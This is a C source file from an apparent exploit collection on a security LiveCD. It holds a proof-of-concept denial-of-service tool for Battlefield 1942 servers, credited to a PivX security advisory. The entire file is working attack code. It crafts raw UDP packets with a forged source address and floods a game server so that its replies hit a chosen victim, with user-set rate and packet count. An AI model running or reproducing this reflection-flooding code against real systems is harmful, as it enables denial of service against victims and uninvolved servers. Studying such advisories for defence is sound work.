home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / bf1942dos.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  5.6 KB  |  227 lines
  1. /************************************************************************/
  2. /* Battlefield 1942 - All Versions flooder (proof-of-concept)       */
  3. /*         by Mike Kristovich (mkristovich@pivx.com)            */
  4. /*                                     */
  5. /* Filename: bf1942dos.c                        */
  6. /* Location: http://www.pivx.com/kristovich/poc/bf1942dos.c        */
  7. /*                                      */
  8. /* Proof-of-concept code for PivX Security Advisory MK#001        */
  9. /*                                      */
  10. /* Linux version (MK-POC-001/1.0)                    */
  11. /*                                      */
  12. /* Description of code:                            */
  13. /*  This exploit will spoof UDP packets from a source which you     */
  14. /*  specify, to a Battlefield 1942 server.  The server will send    */
  15. /*  packets to the victim, regardless of victim status.            */
  16. /*                                    */
  17. /*                                    */
  18. /* This source has been tested and compiled on Linux.              */
  19. /* This source is covered by the GNU GPL.                */
  20. /************************************************************************/
  21. /* Thanks to Luigi for assistance with the code!            */
  22. /************************************************************************/
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <unistd.h>
  27. #include <sys/socket.h>
  28. #include <sys/types.h>
  29. #include <arpa/inet.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/udp.h>
  32. #include <netdb.h>
  33. #include <string.h>
  34.  
  35.  
  36. #define IPSZ        sizeof(struct iphdr)
  37. #define UDPSZ        sizeof(struct udphdr)
  38. #define DATASZ        sizeof(STRING) - 1
  39. #define PSEUDOSZ    sizeof(struct pseudohdr)
  40. #define BUFFSZ        100
  41. #define SIZE        (IPSZ + UDPSZ + DATASZ)
  42. #define STRING        "\\players\\status\\packets\\rules\\"
  43. #define SRCPORT        1204
  44. #define DSTPORT        230
  45.  
  46. u_short in_cksum(unsigned short *addr, int len);
  47. u_long resolv(char *host);
  48. void std_err(void);
  49.  
  50.  
  51. struct pseudohdr {
  52.     u_int32_t    saddr;
  53.     u_int32_t    daddr;
  54.     u_int8_t    zero;
  55.     u_int8_t    protocol;
  56.     u_int16_t    length;
  57. } *pseudohdr;
  58.  
  59.  
  60. int main(int argc, char *argv[]) {
  61.  
  62.     u_char    buff[BUFFSZ],
  63.         pseudobuff[BUFFSZ],
  64.         *data;
  65.     struct    sockaddr_in     peer;
  66.     struct    iphdr    *iphdr;
  67.     struct    udphdr    *udphdr;
  68.     int    shandle,
  69.         err;
  70.     u_int32_t    source,
  71.             dest;
  72.     u_int16_t    sport,
  73.             dport;
  74.  
  75.     int packetsent;
  76.     int maxpackets;
  77.     int pktdoubler;
  78.     int bandwidth;
  79.  
  80.     printf("\r\n---------------------------------------------------\r\n");
  81.     printf("      Game Server DoS  -  Proof-of-Concept\r\n");
  82.     printf("   by Mike Kristovich, PivX Security Researcher\r\n");
  83.     printf("= http://www.PivX.com :    : mkristovich@pivx.com =\r\n");
  84.     printf("---------------------------------------------------\r\n");
  85.     printf("= Advisory MK#001 :        : Battlefield 1942 DoS =\r\n");
  86.     printf("---------------------------------------------------\r\n");
  87.  
  88.  
  89.  
  90.     setbuf(stdout, NULL);
  91.     
  92.     if(argc < 4)
  93.     {
  94.       fprintf(stderr,"Usage: %s <IP_to_flood> <Server_IP> <kBps_to_use> <#_packets>\r\n",*argv);
  95.       printf(":: Options :: <victim_port[default 53]> <server_port[default 23000]>\r\n");
  96.       exit(1);
  97.         };
  98.  
  99.     source = resolv(argv[1]);
  100.     dest   = resolv(argv[2]);
  101.  
  102.     if (!argv[6])
  103.           dport  = DSTPORT;
  104.     else
  105.       dport  = atoi(argv[6]);
  106.      
  107.     if (!argv[5]) 
  108.        sport =  SRCPORT;
  109.     else
  110.        sport  = atoi(argv[5]);
  111.     
  112.  
  113.     printf("Sending packets to server ...");
  114.  
  115.     
  116.     peer.sin_addr.s_addr = dest;
  117.     peer.sin_port        = htons(dport);
  118.     peer.sin_family      = AF_INET;
  119.  
  120.     iphdr     = (struct iphdr *)buff;
  121.     udphdr    = (struct udphdr *)(buff + IPSZ);
  122.     data      = (u_char *)(buff + IPSZ + UDPSZ);
  123.     pseudohdr = (struct pseudohdr *)pseudobuff;
  124.  
  125.     /* build data */
  126.     memcpy(data, STRING, DATASZ);
  127.  
  128.     /* build IP header */
  129.     iphdr->ihl      = 5;
  130.     iphdr->version  = 4;
  131.     iphdr->tos      = 0x8;
  132.     iphdr->tot_len  = SIZE;
  133.     iphdr->id       = 156;
  134.     iphdr->frag_off = 0;
  135.     iphdr->ttl      = 128;
  136.     iphdr->protocol = IPPROTO_UDP;
  137.     iphdr->check    = 0;
  138.     iphdr->saddr    = source;
  139.     iphdr->daddr    = dest;
  140.  
  141.     /* build UDP header */
  142.     udphdr->source = htons(sport);
  143.     udphdr->dest   = htons(dport);
  144.     udphdr->check  = 0;
  145.     udphdr->len    = htons(UDPSZ + DATASZ);
  146.  
  147.     /* build pseudo header for calculate checksum (copy UDP header and data in it) */
  148.     memcpy(pseudobuff + PSEUDOSZ, buff + IPSZ, UDPSZ + DATASZ);
  149.  
  150.     pseudohdr->saddr    = iphdr->saddr;
  151.     pseudohdr->daddr    = iphdr->daddr;
  152.     pseudohdr->zero     = 0;
  153.     pseudohdr->protocol = IPPROTO_UDP;
  154.     pseudohdr->length   = udphdr->len;
  155.  
  156.     udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ + DATASZ);
  157.  
  158.     /* send all */
  159.     shandle = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  160.     if(shandle < 0) std_err();
  161.     
  162.     /* do kbps handling */
  163.  
  164.     /* set up max packets */
  165.     maxpackets = atoi(argv[4]);
  166.     /* set up packet-doubler bandwidth management */
  167.     bandwidth = atoi(argv[3]);
  168.  
  169.     for (packetsent = 0; packetsent < maxpackets; packetsent++) {
  170.  
  171.       for (pktdoubler = 0; pktdoubler < bandwidth; pktdoubler++) {
  172.             err = sendto(shandle, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
  173.              if(err < 0) std_err();
  174.         packetsent++;
  175.       };
  176.         usleep(24000);
  177.     
  178.     };
  179.  
  180.     printf("\r\nSpoofed packets sent to Battlefield 1942 server.\r\n");
  181.     close(shandle);
  182.  
  183.     return(0);
  184. }
  185.  
  186.  
  187. u_short in_cksum(unsigned short *addr, int len) {
  188.         int    sum = 0;
  189.         u_short    answer = 0;
  190.         register    u_short *w = addr;
  191.         register int    nleft = len;
  192.  
  193.         while(nleft > 1)  {
  194.                 sum += *w++;
  195.                 nleft -= 2;
  196.         }
  197.         if(nleft == 1) {
  198.                 *(u_char *)(&answer) = *(u_char *)w ;
  199.                 sum += answer;
  200.         }
  201.         sum = (sum >> 16) + (sum & 0xffff);
  202.         sum += (sum >> 16);
  203.         answer = ~sum;
  204.         return(answer);
  205. }
  206.  
  207.  
  208. u_long resolv(char *host) {
  209.     struct    hostent    *hp;
  210.     u_long    host_ip;
  211.  
  212.     host_ip = inet_addr(host);
  213.     if(host_ip == INADDR_NONE) {
  214.         hp = gethostbyname(host);
  215.         if(hp == 0) std_err();
  216.         else host_ip = *(u_long *)(hp->h_addr);
  217.     }
  218.  
  219.     return(host_ip);
  220. }
  221.  
  222.  
  223. void std_err(void) {
  224.     perror("\nError");
  225.     exit(1);
  226. }
  227.